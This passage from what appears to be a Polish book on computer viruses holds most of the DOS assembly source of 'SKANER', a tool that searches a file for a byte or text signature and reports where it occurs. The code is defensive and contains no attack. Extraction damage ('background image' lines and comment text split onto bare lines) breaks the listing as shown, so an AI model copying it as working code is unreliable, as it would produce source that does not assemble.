                mov ax,word ptr [BufDTA.Dlugosc]    ; -DX:AX = dlugosc pliku
                mov dx,word ptr [BufDTA.Dlugosc+2]  ; /
                or dx,dx                            ; czy b. znacz. czesc dlugosci =0
                jnz DlugiPlik                       ; nie -> dlugosc<>0
                cmp ax,DlugoscCiagu                 ; b. znacz. czesc=0, czy mniej znacz. czesc
                jae DlugiPlik                       ; dlugosci > dlugosc ciagu
                mov NumerBledu,BlPlikZaKrotki       ; Blad : plik krotszy od ciagu !
                jmp short NieMogeOtworzyc           ; wyswietl blad
DlugiPlik:
                mov si,offset TeSzukamCiagu         ; wyswietl informacje o szukaniu
                Call DrukLn                         ; lancuchu w pliku

                mov NumerBledu,BlNieMogeOtworzyc    ; ewentualny numer bledu
                mov dx,Offset NazwaPliku            ; nazwa pliku w DS:DX, tryb dostepu w AL
                mov ax,3D00h+TrybOtwarciaPliku      ; funkcja DOS - otworz plik
                int 21h                             ; DOS : otworz plik
                jc NieMogeOtworzyc                  ; CF=1 -> blad

                xchg ax,bx                          ; BX=uchwyt pliku

                Call CzytajSzukaj                   ; szukaj lancucha w calym pliku
                jc NieMogeOtworzyc

                mov ah,3Eh                          ; zamknij plik
                int 21h                             ;

                mov ax,word ptr [IleZnalezionych]   ; wyswietl, ile razy ciag
                mov dx,word ptr [IleZnalezionych+2] ; wystapil w pliku
                mov si, offset TeZnalazlem
                or dx,dx                            ; \  sprawdz, czy przynajmniej

background image

                jnz CosZnalazl                      ;  \ raz, jak ani razu to
                or ax,ax                            ;  / inny komunikat
                jnz CosZnalazl                      ; /
                mov si, offset TeNieZnalazlem
CosZnalazl:
                Call DrukLn                         ; wyswietl komunikat spod DS:SI
                clc                                 ; nie ma bledu

NieMogeOtworzyc:
                ret                                 ; powrot z procedury
SzukajLancuch   endp

;-------------------------------------------------------------------
CzytajSzukaj    proc near                           ; czytaj w pliku i szukaj lancuch
                                                    ; na wejsciu numer pliku w BX
                xor ax,ax                           ; \
                mov word ptr [IleZnalezionych]  ,ax ;  \
                mov word ptr [IleZnalezionych+2],ax ;   - wyzeruj zmienne
                mov word ptr [AdresCzytania],ax     ;  /
                mov word ptr [AdresCzytania+2],ax   ; /
                mov NumerBledu,BlNieMogeCzytac      ; ewent. blad
                xor bp,bp                           ; BP oznacza odstep od poczatku bufora,
                                                    ; pod ktory wczytujemy dane, na poczatku=0
                dec DlugoscCiagu                    ; zmniejsz o 1 dlugosc ciagu potrzebne
                                                    ; w pozniejszej operacji porownania
                cld                                 ; w oper. lancuchowych INC(SI,DI)

CzytajDoBufora:                                     ; petla glowna
                push ds                             ; zachowaj DS na stosie

                mov ax,es
                mov ds,ax                           ; DS=ES=segment na dane z pliku

                mov cx,RozmiarBuforaDanych          ; ile czytac danych
                mov dx,offset BuforDanych           ; DS:DX = tu wczytuj dane
                add dx,bp                           ; dodaj dlug. danych, ktore zostaly z poprz. odczytu
                mov ah,3Fh                          ; DOS : funkcja czytania
                int 21h                             ; DOS : wykonaj funkcje

                pop ds                              ; przywroc DS
                jc NieMogeCzytac                    ; gdy CF=1, to blad

                add word ptr [AdresCzytania],ax     ; \dodaj do pozycji odczytu ilosc
                adc word ptr [AdresCzytania+2],0    ; /odczytanaych bajtow
                mov [Przeczytane],ax

                add ax,bp                           ; \do ilosci odczytanych bajtow dodaj dlugosc 

background image

danych
                                                    ; /pozostalych z poprzedniego odczytu

                cmp ax,DlugoscCiagu                 ; \  ax=dlugosc danych do porownania
                jb KoniecPliku                      ;  - jesli mniej niz ciag, to nie trzeba porownywac
                                                    ; /  bo i tak ciag sie nie znajdzie
                xchg ax,cx                          ; cx=dlugosc danych do porownania
                push cx                             ; zachowaj do pozniejszego porownania
                mov di,offset BuforDanych           ; poczatek danych
SzukajPierwszej:
                mov si,Offset Ciag                  ; ofset do wyszukiwanego ciagu
                lodsb                               ; al=pierwsza litera ciagu, INC(SI)
                repnz scasb                         ; szukaj, az znajdzie w danych pierwsza litere
                jnz NieMaPierwszej                  ; jesli nie znalazl, to czytaj dalej z pliku

                cmp cx,DlugoscCiagu                 ; czy wystarczy danych w buforze do 
porownania ?
                jae PorownajCaly                    ; jest co najmniej tyle lub wiecej to OK
                inc cx                              ; - za malo danych
                dec di                              ; - cofnij DI,CX na poprzednie wartosci
                mov si,di                           ; - skopiuj koncowke bufora na poczatek
                mov di,offset BuforDanych           ; - zachowaj w BP dlugosc tej koncowki
                mov bp,cx                           ; - w nastepnym odczycie dane wczytane
                rep movs byte ptr es:[di],es:[si]   ; - umieszczone beda za ta koncowka

                jmp short NieMaPierwszej            ; - a porownywanie sie powtorzy, ale teraz 
beda dane
PorownajCaly:                                       ; - do porownania, po skoku czytaj dalej dane
                push cx                             ;
                push di                             ; zachowaj aktualna pozycje w buforze i licznik
                mov cx,DlugoscCiagu                 ; dokladniej : dlugosc ciagu-1 bo nie musimy 
porownywac
                                                    ; pierwszej litery, ktora juz byla sprawdzona
                jcxz JednoLiterowy                  ; jesli CX=0, to ciag byl jednoliterowy
                rep cmpsb                           ; porownaj cx bajtow
                jne NieMaLancucha                   ; jesli ZF=0, nie znalazl ciagu
JednoLiterowy:
                mov ax,word ptr [AdresCzytania]     ; DX:AX=32 bitowa pozycja odczytu pliku
                mov dx,word ptr [AdresCzytania+2]
                sub ax,[Przeczytane]
                sbb dx,0
                sub ax,bp
                sbb dx,0
                pop di                              ; przywroc odleglosc od poczatku bufora
                push di                             ; zachowaj di
                dec di                              ; zmniejsz wskaznik, zeby wskazywal na pierwsza 
litere

background image

                add ax,di
                adc dx,0                            ; dodawanie 32 bitowe
                                                    ; DX:AX = adres fizyczny wzgledem pocz. pliku
                mov word ptr [AdresZnalezienia],ax  ; -zapamietaj ten adres w zmiennej, bo 
procedura
                mov word ptr [AdresZnalezienia+2],dx; /konwersji korzysta z ofsetu do 
zmiennej, zeby ja wyswietlic
                mov si,offset TeZnalezionyNaPozycji ; -wyswietl tekst ze znalazl
                Call DrukLn                         ; /adres : wyswietl szesnastkowo i dziesiatkowo
                add word ptr [IleZnalezionych],1    ; -zwieksz 32 bitowy licznik wystapien
                adc word ptr [IleZnalezionych+2],0  ; /dodaj ewentualne przeniesienie z 15 na 
16 bit
NieMaLancucha:
                pop di                              ;
                pop cx                              ; przywroc aktualna pozycje w buforze+licznik
                jcxz NieMaPierwszej                 ; czy juz caly bufor pusty ?
               ; xor bp,bp                          ; zeruj dlugosc koncowki
                jmp short SzukajPierwszej           ; skocz i szukaj nastepnego wystapienia
NieMaPierwszej:
                pop ax                              ; zdejmij ilosc odczytanych danych ze stosu
                cmp ax,RozmiarBuforaDanych          ; i porownaj, czy tyle ile bylo 
wczytywanych
                jb  KoniecPliku                     ; jesli nie tyle samo, to koniec pliku
                                                    ; jesli tyle samo, to czytaj dalej
                jmp CzytajDoBufora                  ; skocz i czytaj dalej dane

KoniecPliku:                                        ; dane sie skonczyly
                clc                                 ; nie ma bledu
NieMogeCzytac:
                ret                                 ; wroc z procedury
CzytajSzukaj    endp

;-------------------------------------------------------------------
PrzywrocParametrySystemu proc near                  ; przywraca stare adresy DTA+Int 24h
                                                    ; i ewentualnie atrybuty pliku
                                                    ; (jezeli sytemowy, ukryty)
                pushf                               ; zachowaj flagi z ew. bledem
                cmp ZmienAtrPliku,Prawda            ; czy przywrocic atrybut ?
                jne NiePrzywracajAtrybutu           ; skocz jesli nie
                mov ax,4301h                        ; DOS: funkcja 43xxh wez(xx=0)/ustaw(xx=1) atr. 
pliku
                xor ch,ch                           ; ch=0
                mov cl,[BufDTA.Atrybut]             ; cx=stare atrybuty
                mov dx,Offset NazwaPliku            ; DS:DX =nazwa pliku
                int 21h                             ; DOS : zmien atrybuty

NiePrzywracajAtrybutu:

background image

                push ds                             ; zachowaj segment danych
                push ds                             ; 2 razy -> na pozniej

                lds dx,dword ptr    [StareI24Ofs]   ; przywroc stara obsluge bledow
                mov ax,2524h                        ; ustaw Int 24h
                int 21h                             ; funkcja 25h - ustaw wektor (numer w AL)
                pop ds                              ; przywroc segment danych

                lds dx,dword ptr    [StareDTAOfs]   ; przywroc stare DTA
                mov ah,1Ah                          ; funkcja 1Ah - ustaw DTA
                int 21h                             ; wywolaj funkcje
                pop ds                              ; przywroc segment danych

                popf                                ; przywroc znaczniki z ew. bledem
                ret                                 ; powrot z procedury
PrzywrocParametrySystemu endp

;-------------------------------------------------------------------
UstawParametrySystemu proc near                     ; ustaw obsluge przerwania 24h
                                                    ; nowy bufor DTA
                mov ax,seg SKANER
                mov ds,ax                           ; DS=segment danych
                mov MojAdresPSP,es                  ; zachowaj PSP

                mov ax,3524h                        ; funkcja wez adres przerwania (num. w AL)
                int 21h                             ; wez stare INT 24h do rejestrow ES:BX
                mov StareI24Ofs,bx                  ; - zachowaj stare przerwanie
                mov StareI24Seg,es                  ; / ES=segment, BX=offset

                mov ah,2Fh                          ; wez stare DTA do rejestrow ES:BX
                int 21h
                mov StareDTAOfs,bx
                mov StareDTASeg,es                  ; ES=segment, BX=ofset

                mov dx,Offset BufDTA
                mov ah,1Ah                          ; ustaw nowe DTA na adres zawarty w DS:DX
                int 21h

                push ds                             ; zachowaj DS
                push cs                             ; -DS=CS
                pop ds                              ; /
                mov dx,offset NoweInt24             ; ustaw nowe przerwanie 24h
                mov ax,2524h                        ; w DS:DX
                int 21h
                pop ds                              ; przywroc DS

background image

                ret                                 ; powrot z procedury
UstawParametrySystemu endp

;-------------------------------------------------------------------
NoweInt24       proc near                           ; procedura obslugi przerwania programowego 
bledow
                                                    ; krytycznych wywolywana przez DOS w razie bledu
                push ds                             ; \
                push ax                             ; -zachowaj DS i AX
                mov ax,seg SKANER
                mov ds,ax                           ; ds=segment danych
                mov NumerBledu,BlBlad_ARIF          ; zachowaj numer bledu
                pop ax                              ;  \
                pop ds                              ;  -przywroc DS i AX

                mov al,3                            ; pomin blad-program sam zadecyduje co dalej

                iret                                ; nie wywoluj standardowego dialogu ARIF
NoweInt24       endp                                ; powrot z procedury obslugi przerwania 
programowego

;-------------------------------------------------------------------
SprawdzPlik     proc near                           ; szukaj plik podany jako parametr

                mov ZmienAtrPliku,Falsz             ; na razie nie znamy atrybutow, wiec nie 
trzeba
                                                    ; przywracac oryginalnych
                mov NumerBledu,BlBrakPlikuNaDysku   ; ustaw ew. numer bledu

                mov ah,4Eh                          ; funkcja szukaj pozycji katalogu
                mov dx,offset NazwaPliku            ; DS:DX nazwa pliku
                mov cx,AtAll                        ; w CX podaj atrybut szukanej pozycji
                int 21h                             ; wywolaj funkcje
                jc NieMaPliku                       ; gdy CF=1, to blad

                mov si,offset BufDTA                ; nie ma bledu , info o pliku jest w buforze DTA
                mov al,[BufDTA.Atrybut]             ; wez atrybut pliku
                mov NumerBledu,BlZlyAtrybutPliku    ; ewent. blad
                test al,AtVolumeID+AtDirectory      ; sprawdz, czy etykieta lub katalog (testuj 
bity)
                stc                                 ; ustaw ewent. blad
                jnz NieMaPliku                      ; skocz, bo etykieta lub dysk

                test al,AtHidden+AtSystem           ; testuj bity : ukryty lub system
                mov NumerBledu,BlBrakDostepuDoPliku ; ewent. blad
                jz NieZmienAtr                      ; nie sa ustawione, to skocz dalej

background image

                mov ZmienAtrPliku,Prawda            ; trzeba zmienic atrybut, zeby mozna bylo 
odczytac
                mov ax,4301h                        ; funkcja ustaw atrybut pliku
                mov cx,AtArchive                    ; cx=atrybyt jaki ustawic
                mov dx,Offset NazwaPliku            ; DS:DX nazwa pliku
                int 21h                             ; wywolaj funkcje
                jc NieMaPliku                       ; gdy CF=1, to blad
NieZmienAtr:
                clc                                 ; nie ma bledu, plik gotowy do odczytu
NieMaPliku:
                ret                                 ; wroc z procedury
SprawdzPlik     endp

;-------------------------------------------------------------------
CzytajParametry proc near                           ; wez parametry z PSP:80h
                push ds                             ; zachowaj DS

                mov ax,ds                           ; ES=DS=segment z danymi
                mov es,ax

                mov ds,MojAdresPSP                  ; DS=blok PSP

                mov si,LiniaPolecen                 ; ofset w PSP do linii polecen
                mov es:NumerBledu,BlBrakParametrow  ; ewentualny numer bledu

                cmp byte ptr ds:[si],0              ; dlugosc linii polecen
                je  BladParametrow                  ; jezeli pusta, to nie ma parametrow

                inc si                              ; pomin licznik
                inc si                              ; pomin spacje
                cld                                 ; INC(SI,DI) w oper. na lancuchach

                Call OpuscSpacje                    ; czytaj az znak <> SPACJA lub TAB

                mov es:NumerBledu,BlBrakNazwyPliku  ; ewentualny numer bledu
                cmp al,ZnakKoncaLinii               ;\ czy koniec parametrow ?
                je BladParametrow                   ;- jesli tak, to powrot z procedury

                mov di, offset NazwaPliku           ; es:di : tu zapisz wyniki
                Call KopiujDoSpacji                 ; kopiuj nazwe pliku

                mov es:NumerBledu,BlBrakCiagu       ; ewentualny numer bledu

                cmp al,ZnakKoncaLinii               ;\ czy koniec parametrow ?
                je BladParametrow                   ;- jesli tak, to powrot z procedury

                xor al,al                           ; plik ASCIIZ, wiec dodaj zero

background image

                stosb

                Call OpuscSpacje                    ; czytaj az znak <>SPACJA lub TAB
                cmp al,ZnakKoncaLinii               ; czy koniec parametrow
                je BladParametrow                   ; jesli tak, to blad

                mov es:NumerBledu,BlZlyCiag         ; ewentualny numer bledu
                mov di, offset Ciag                 ; es:di : tu zapisz ciag
                Call KopiujCiagDoKonca              ; kopiuj parametr : ciag
                jc BladParametrow                   ; jesli TAK, to blad

                mov ax,di
                sub ax,offset Ciag
                jz  BladParametrow                  ; jesli TAK, to lancuch pusty
                mov es:DlugoscCiagu ,ax             ; - zachowaj dlugosc ciagu
                mov es:AbsDlugoscCiagu ,ax          ; - zachowaj 2-i raz dlugosc ciagu

                clc                                 ; nie ma bledu
                jmp short $+3                       ; skocz i pomin rozkaz STC
BladParametrow:
                stc                                 ; jest blad
                pop ds
                ret                                 ; wroc z procedury
CzytajParametry endp

;-------------------------------------------------------------------
OpuscSpacje     proc near

                lodsb                               ; czytaj znak z ds:[si], inc si
                cmp al,ZnakSpacji                   ;\
                je OpuscSpacje                      ; \ czy spacja lub znak tabulacji ?
                cmp al,ZnakTabulacji                ; / jezeli tak, to czytaj nastepny znak
                je OpuscSpacje                      ;/
                dec si                              ; zmniejsz wskaznik na poprzedni znak

                ret                                 ; powroc z procedury

OpuscSpacje     endp
;-------------------------------------------------------------------
KopiujDoSpacji  proc near
KopiujZnak:
                lodsb                               ; czytaj znak z ds:[si], inc si
                cmp al,ZnakSpacji                   ;\
                je NieKopiuj                        ; \ czy spacja lub znak tabulacji
                cmp al,ZnakTabulacji                ;  \lub koniec linii polecen
                je NieKopiuj                        ;  /jezeli tak, to koncz kopiowanie
                cmp al,ZnakKoncaLinii               ; /

background image

                je NieKopiuj                        ;/
                stosb                               ; skopiuj znak
                jmp short KopiujZnak                ; skocz i wez nastepny znak
     NieKopiuj:
                dec si                              ; zmniejsz wskaznik na poprzedni znak

                ret                                 ; powroc z procedury

KopiujDoSpacji  endp

;-------------------------------------------------------------------
KopiujCiagDoKonca proc

Pa_Nic          = 00
Pa_Apostrof     = 01

                mov bl,Pa_Nic                       ; nie bylo znaku specjalnego
                mov bh,0
KopiujParamZnak:
                lodsb                               ; czytaj znak z ds:[si], inc si

                cmp bl,Pa_Apostrof                  ; czy tekst w apostrofach ?
                jne ZwyklyTekst                     ; NIE - dane heksalne

                cmp al,39                           ; czy znak apostrofu ?
                jne NieKoniecTekstu                 ; Nie - idz dalej

                mov bl,Pa_Nic                       ; koniec tekstu w apostrofach
                jmp KopiujParamZnak                 ; idz po kolejny znak

NieKoniecTekstu:
                stosb                               ; kopiuj zwykly tekst
                jmp KopiujParamZnak                 ; wez kolejny znak

ZwyklyTekst:
                cmp al,39                           ; czy apostrof poczatkowy
                jne NiePoczatektekstu               ; NIE - sprawdzaj dalej

                mov bl,Pa_Apostrof                  ; ustaw flage
                jmp KopiujParamZnak                 ; idz po nastepny znak
NiePoczatektekstu:
                cmp al,ZnakKoncaLinii               ; \ pomin, gdy znak=CR
                je  KoniecParamTekstu               ; /

                cmp al,ZnakSpacji                   ; \ pomin, gdy znak=spacja
                je  KopiujParamZnak                 ; /

background image

                cmp al,ZnakTabulacji                ; \ pomin, gdy znak=TAB
                je  KopiujParamZnak                 ; /

                cmp al,'0'                          ; czy znak >=0 ?
                jb  KoniecParamTekstuBlad           ; < blad

                cmp al,'9'                          ; czy znak 0..9 ?
                jbe ToCyfra09                       ; TAK - cyfra

                and al,0DFh                         ; 'a'..'z'->'A'..'Z'

                cmp al,'A'                          ; czy znak <'A' ?
                jb  KoniecParamTekstuBlad           ; TAK - blad

                cmp al,'F'                          ; czy znak >'F' ?
                ja  KoniecParamTekstuBlad           ; TAK - blad
                                                    ; znak '0'..'F'
ToCyfra09:
                cmp bh,0                            ; czy licznik znakow=0 ?
                je  ToPierwszyZnak                  ; TAK - zachowaj znak na pozniej

                cmp al,'9'                          ; czy znak to cyfra ?
                jbe ALJest09                        ;
                sub al,'A'-'0'-10                   ; konwertuj na liczbe
ALJest09:
                cmp ah,'9'                          ; czy drugi znak to cyfra ?
                jbe AHJest09
                sub ah,'A'-'0'-10                   ; konwertuj na liczbe
AHJest09:

                sub ax,'00'                         ; \
                mov bh,al                           ;  \  konwersja liczby
                mov al,16                           ;   \ heksalnej zapisanej
                mul ah                              ;   / jako lancuch, na zwykla
                add al,bh                           ;  /  liczbe (znak ASCII)
                stosb                               ; /   i zapisz znak
                mov bh,0                            ; licznik znakow znow=0
                mov bl,Pa_Nic                       ; "czyste" wyjscie
                jmp KopiujParamZnak                 ; wez nastepny znak

ToPierwszyZnak:
                mov ah,al                           ; zachowaj pierwszy znak liczby
                mov bh,1                            ; jest juz jeden znak
                jmp KopiujParamZnak                 ; idz po nastepny znak

KoniecParamTekstu:
                cmp bx,Pa_Nic                       ; czy "czyste" wyjscie ?

background image

                je  KoniecParamTekstu2              ; jezeli nie, to blad

                dec si                              ; zmniejsz wskaznik na poprzedni znak
KoniecParamTekstuBlad:
                stc                                 ; gdy CF=1, to nie ma bledu
                jmp $+3                             ; przeskocz 'CLC'
KoniecParamTekstu2:
                clc                                 ; gdy CF=0, to nie ma bledu
                ret                                 ; powrot z procedury

KopiujCiagDoKonca endp

;-------------------------------------------------------------------
DrukLn          proc near                           ; drukowanie tekstu ACSIIZ spod DS:SI
                                                    ; z przejsciem do nastepnej linii
                Call Druk                           ; wydrukuj tekst
                push si                             ; \
                mov si,Offset TeCRLF                ;  \
                Call Druk                           ;   \
                pop si                              ; --- przejdz do nastepnej linii

                ret                                 ; powrot z procedury

DrukLn          endp

;-------------------------------------------------------------------
Druk            proc near                           ; drukowanie tekstu ACSIIZ spod DS:SI

                push ax                             ; \
                push bx                             ;  \
                push cx                             ;   \
                push si                             ; --- zachowaj zmieniane rejestry

      DrukZnak:                                     ; petla drukowania jednego znaku
                cmp si,offset CiagStart             ; \
                jb  ToNieParamtekst                 ;  \     jezeli drukowany jest
                cmp si,offset CiagKoniec            ;   \    w obszarsze lancucha 'CiagBajtow'
                jae  ToNieParamtekst                ;    \   to pozwol drukowac kazdy znak
                mov cx,AbsDlugoscCiagu              ;     \
                add cx,offset CiagStart             ;     /
                cmp si,cx                           ;    /
                jae KoniecDruku                     ;   /
                lodsb                               ;  /
                jmp short ToParamtekst              ; /
ToNieParamtekst:
                lodsb                               ; wez kolejny znak z lancucha

background image

                or al,al                            ; sprawdz, czy ostatni znak ?
                jz KoniecDruku                      ; jesli tak, to wszystko wydrukowane

                mov cx,IleWrostkow                  ; Ile zdefiniowanych wrostkow
                mov bx,Offset TablicaWrostkow       ; tablica z definicjami

     SzukajWrostka:                                 ; -sprawdz, czy al nie oznacza wrostka
                cmp ds:[bx],al                      ; /
                jne NastepnyWrostek                 ; jesli nie, to sprawdz nastepny w tablicy
                test al,80h                         ; czy 7 bit ustawiony ?
                jz NormalnyDruk                     ; nie - to ofset do tekstu
                Call ds:[bx+1]                      ; tak - to procedura konwersji
                xor al,al                           ; zeruj dla pozniejszego porownania
                inc si                              ; - pomin ofset do liczby do konwrsji
                inc si                              ; /
                jmp short NastepnyWrostek           ; sprawdz nastepny wrostek w tablicy
      NormalnyDruk:
                push si                             ; wrostek to tekst spod ofsetu w tablicy
                mov si,ds:[bx+1]                    ; wrostkow
                Call Druk                           ; wyswietl wrostek
                pop si
                xor al,al                           ; zeruj dla pozniejszego porownania
     NastepnyWrostek:
                add bx,3                            ; zwieksz index do tablicy wrostkow
                loop SzukajWrostka                  ; powtorz cx razy

                or al,al                            ; czy to byl wrostek (al=0) ?
                jz DrukZnak                         ; jesli tak, to wez nastepny znak

ToParamtekst:
                mov ah,02h                          ; wyprowadz znak na
                mov dl,al                           ; standardowe wyjscie DOSa
                int 21h

                jmp short DrukZnak                  ; skocz i wez nastepny znak lancucha
KoniecDruku:
                pop si                              ;  --- przywroc zmienione rejestry
                pop cx                              ;   /
                pop bx                              ;  /
                pop ax                              ; /

                ret                                 ; wracaj

Druk            endp
;-------------------------------------------------------------------

Bin2HexUnInt32  proc near                           ; procedura wyswietla 32 bitowa liczbe 

background image

szesnastkowa
                                                    ; ofset do liczby znajduje sie w si
                push ax                             ; \
                push bx                             ;  \
                push dx                             ;   \
                push si                             ; --- zachowaj zmieniane rejestry

                mov bx,[si]                         ; wez ofset do liczby 32 bitowej
                mov ax,[bx]                         ; - wczytaj liczbe do DX:AX
                mov dx,[bx+2]                       ; /
                mov si,offset Hex2DecBufor          ; ustaw na poczatek bufora
                mov bx,offset HexChars              ; wez ofset do tablicy z cyframi 
szesnastkowymi

                push ax                             ; zapamietaj mniej znacz. slowo
                mov ax,dx                           ; najpierw bar. znacz. slowo
                Call Bin2HexUnInt16                 ; konwertuj liczbe 16 bitowa
                pop ax                              ; przywroc mniej znacz. slowo

                Call Bin2HexUnInt16                 ; terax mniej znacz. slowo

                mov word ptr [si],'h'               ; ustaw na koncu znak 'h' i 0

                mov si,offset Hex2DecBufor          ; - wyswietl liczbe
                Call Druk                           ; /

                pop si                              ; --- przywroc zmienione rejestry
                pop dx                              ;   /
                pop bx                              ;  /
                pop ax                              ; /

                ret                                 ; powrot

Bin2HexUnInt16:                                     ; wewnetrzna procedura wywoluje "zstepujaco"
                                                    ; kolejne nizsze ranga procedury konwersji
                push ax
                mov al,ah                           ; konwertuj b. znacz. czesc AX
                Call Bin2HexUnInt8
                pop ax                              ; konwertuj m. znacz. czesc AX
Bin2HexUnInt8:  mov ah,al
                shr al,1                            ; \
                shr al,1                            ;  \ wyizoluj 4 bity (4..7)
                shr al,1                            ;  / al=gorna polowa liczby
                shr al,1                            ; /     szesnastkowej
                Call Bin2HexUnInt4                  ; konwertuj b. znacz. bity (4..7)
                mov al,ah

background image

                and al,15                           ; wyizoluj 4 bity (0..3)
Bin2HexUnInt4:
                xlatb                               ; al=byte ptr ds:[bx+al]
                mov [si],al                         ; zachowaj znak w buforze
                inc si                              ; zwieksz indeks
                ret                                 ; powrot z wen. procedury

Bin2HexUnInt32  endp

;-------------------------------------------------------------------
Bin2DecUnInt32  proc near                           ; wyswietla liczbe 32 bitowa bez znaku 
dziesietnie

                push ax                             ; \
                push bx                             ;  \
                push dx                             ;   \
                push si                             ; --- zachowaj zmieniane rejestry

                mov si,[si]                         ; wez ofset do liczby 32 bitowej
                mov ax,[si]                         ; - wczytaj liczbe do DX:AX
                mov dx,[si+2]                       ; /
                mov si,offset Hex2DecBufor+10       ; ustaw na koniec bufora, bo zapis od 
konca
                mov byte ptr ds:[si],0              ; utworz ASCIIZ (dodaj zero na koncu)
   DzielPrzez10:
                mov bx,10                           ; dziel DX:AX przez BX
                Call Dziel32                        ; w bx reszta z dzielenia
                add bl,'0'                          ; dodaj ASCII "0"
                dec si                              ; zmniejsz indeks do tablicy
                mov byte ptr ds:[si],bl             ; zapisz cyfre
                or  dx,dx                           ; \
                jnz DzielPrzez10                    ;  \
                or  ax,ax                           ;   \
                jnz DzielPrzez10                    ; --- czy liczba jest juz 0 ?

                Call Druk                           ; wyswietl lancuch z liczba po konwersji

                pop si                              ;  --- przywroc zmienione rejestry
                pop dx                              ;   /
                pop bx                              ;  /
                pop ax                              ; /

                ret                                 ; powrot

Bin2DecUnInt32  endp

;-------------------------------------------------------------------

background image

Dziel32         proc near                           ; dziel (dx:ax)/bx

                push bp                             ; zachowaj bp
                push ax                             ; zachowaj mniejsza czesc liczby 32 bitowej
                mov ax,dx                           ; przenies b. znacz. czesc do mniej. znacz.
                xor dx,dx                           ; i wyzeruj dx , dx:ax = > 0:dx
                div bx                              ; podziel (0:dx)/bx
                mov bp,ax                           ; calosc z dzielenia, to wieksza czesc wyniku
                pop ax                              ; przywroc do AX mniej znaczaca liczbe z poczatku
                div bx                              ; dx jest reszta z dzielenia b. znacz. czesci przez BX
                mov bx,dx                           ; w bx reszta z dzielenia
                mov dx,bp                           ; dx:ax=liczba podzielona przez bx,
                pop bp                              ; a w bx reszta z dzielenia
                ret

Dziel32         endp

;-------------------------------------------------------------------
;              (teksty komunikatow+zmienne ogolne)
;-------------------------------------------------------------------
    TeCopyRight          db CR,LF,'SKANER v1.0, Autor : Adam Blaszczyk 1997'
                         db CR,LF
                         db CR,LF,'   Wywolanie: SKANER NazwaPliku CiagBajtow'
                         db CR,LF
                         db CR,LF,'   CiagBajtow moze skladac sie z liczb zapisanych heksalnie 
lub zwyklego'
                         db CR,LF,'   tekstu np: '
                         db CR,LF,'       _ CD 21                - szuka wywolania przerwania 21h'
                         db CR,LF,'       _ ''wirus''              - szuka slowa "wirus"'
                         db CR,LF,'       _ ''abc''80C5''def''EE  F6 - szuka lancucha "abcÃ+def_¸"'
    TeCRLF               db CR,LF,0
    TeSzukamCiagu        db 'Szukam lancuch "',DrCiag ,'" w pliku "',DrPlik,'"',0
    TeBezBledu           db 'OK !',0
    TeBrakParametrow     db 'BLAD : Podaj Parametry !',0
    TeBrakNazwyPliku     db 'BLAD : Podaj nazwe pliku !',0
    TeBrakCiagu          db 'BLAD : Podaj ciag do wyszukania',0
    TeZlyCiag            db 'BLAD : Podany ciag zawiera bledy !',0
    TeBrakPlikuNaDysku   db 'BLAD : Nie moge znalezc pliku "',DrPlik,'"',0
    TeBlad_ARIF          db 'BLAD : Brak dostepu do pliku "',DrPlik,'" (int 24h) !',0
    TeZlyAtrybutPliku    db 'BLAD : "',DrPlik,'" to etykieta dysku lub katalog !',0
    TeBrakDostepuDoPliku db 'BLAD : Brak dostepu do pliku - nie mozna chwilowo 
zmienic atrybutow ! ',0
    TeNieMogeOtworzyc    db 'BLAD : Nie moge otworzyc pliku "',DrPlik,'"',0
    TeNieMogeCzytac      db 'BLAD : Nie moge czytac pliku "',DrPlik,'"',0
    TeNieMogeZamknac     db 'BLAD : Nie moge zamknac pliku "',DrPlik,'"',0
    TePlikZaKrotki       db 'BLAD : Plik "',DrPlik,'" jest krotszy niz ciag !',0
    OffsetyKomunikatow   dw offset TeBezBledu             ; BlBezBledu           equ 00h

background image

                         dw offset TeBrakParametrow       ; BlBrakParametrow     equ 01h
                         dw offset TeBrakNazwyPliku       ; BlBrakNazwyPliku     equ 02h
                         dw offset TeBrakCiagu            ; BlBrakCiagu          equ 03h
                         dw offset TeZlyCiag              ; BlZlyCiag            equ 04h
                         dw offset TeBrakPlikuNaDysku     ; BlBrakPlikuNaDysku   equ 05h
                         dw offset TeBlad_ARIF            ; BlBlad_ARIF          equ 06h
                         dw offset TeZlyAtrybutPliku      ; BlZlyAtrybutPliku    equ 07h
                         dw offset TeBrakDostepuDoPliku   ; BlBrakDostepuDoPliku equ 08h
                         dw offset TeNieMogeOtworzyc      ; BlNieMogeOtworzyc    equ 09h
                         dw offset TeNieMogeCzytac        ; BlNieMogeCzytac      equ 0Ah
                         dw offset TeNieMogeZamknac       ; BlNieMogeZamknac     equ 0Bh
                         dw offset TePlikZaKrotki         ; BlPlikZaKrotki       equ 0Ch
    TeNieZnalazlem       db 'Nie znalazlem lancucha "',DrCiag ,'" w pliku "',DrPlik,'" !',0
    TeZnalazlem          db 'Ciag "',DrCiag ,'" wystapil '
                         db DrUnIntDec
                         dw offset IleZnalezionych
                         db ' raz(y) w pliku "',DrPlik,'" !',0
   TeZnalezionyNaPozycji db 'Ciag "',DrCiag ,'" wystapil na pozycji '
                         db DrUnIntHex
                         dw offset AdresZnalezienia
                         db ','
                         db DrUnIntDec
                         dw offset AdresZnalezienia
                         db 0
   HexChars              db '0123456789ABCDEF'
TablicaWrostkow          db DrPlik
                         dw offset NazwaPliku
                         db DrCiag
                         dw offset Ciag
                         db DrUnIntDec
                         dw offset Bin2DecUnInt32
                         db DrUnIntHex
                         dw offset Bin2HexUnInt32
        NumerBledu       db ?
        MojAdresPSP      dw ?
        AdresCzytania    dd ?
        AdresZnalezienia dd ?
        Przeczytane      dw ?
        IleZnalezionych  dd ?
        DlugoscCiagu     dw ?
        AbsDlugoscCiagu  dw ?
        StareDTAOfs      dw ?
        StareDTASeg      dw ?
        StareI24Ofs      dw ?
        StareI24Seg      dw ?
        ZmienAtrPliku    db ?
        Hex2DecBufor     db 11 dup(?)

background image

        CiagStart:
        Ciag             db RozmiarCiagu  dup(?)
        CiagKoniec:
        NazwaPliku       db DlugNazwyPliku dup(?)
        BufDTA           DTA_STRUC <>
SKANER        ENDS

;-------------------------------------------------------------------
;                         Segment DTA
;  do wczytywania danych (127 sektorow 512 bajtowych=65024 bajtow)
;-------------------------------------------------------------------
ProgDTA  SEGMENT
         BuforDanych     db RozmiarBuforaDanych dup(?)    ; bufor na dane z pliku
ProgDTA  ENDS

;-------------------------------------------------------------------
;                         Segment Stosu
;-------------------------------------------------------------------
ProgStos segment word stack 'STACK'                      ; ustaw STOS
         dw RozmiarStosu dup(?)
ProgStos ends

                end start

12.2. Heurystycze wyszukiwanie wirusów
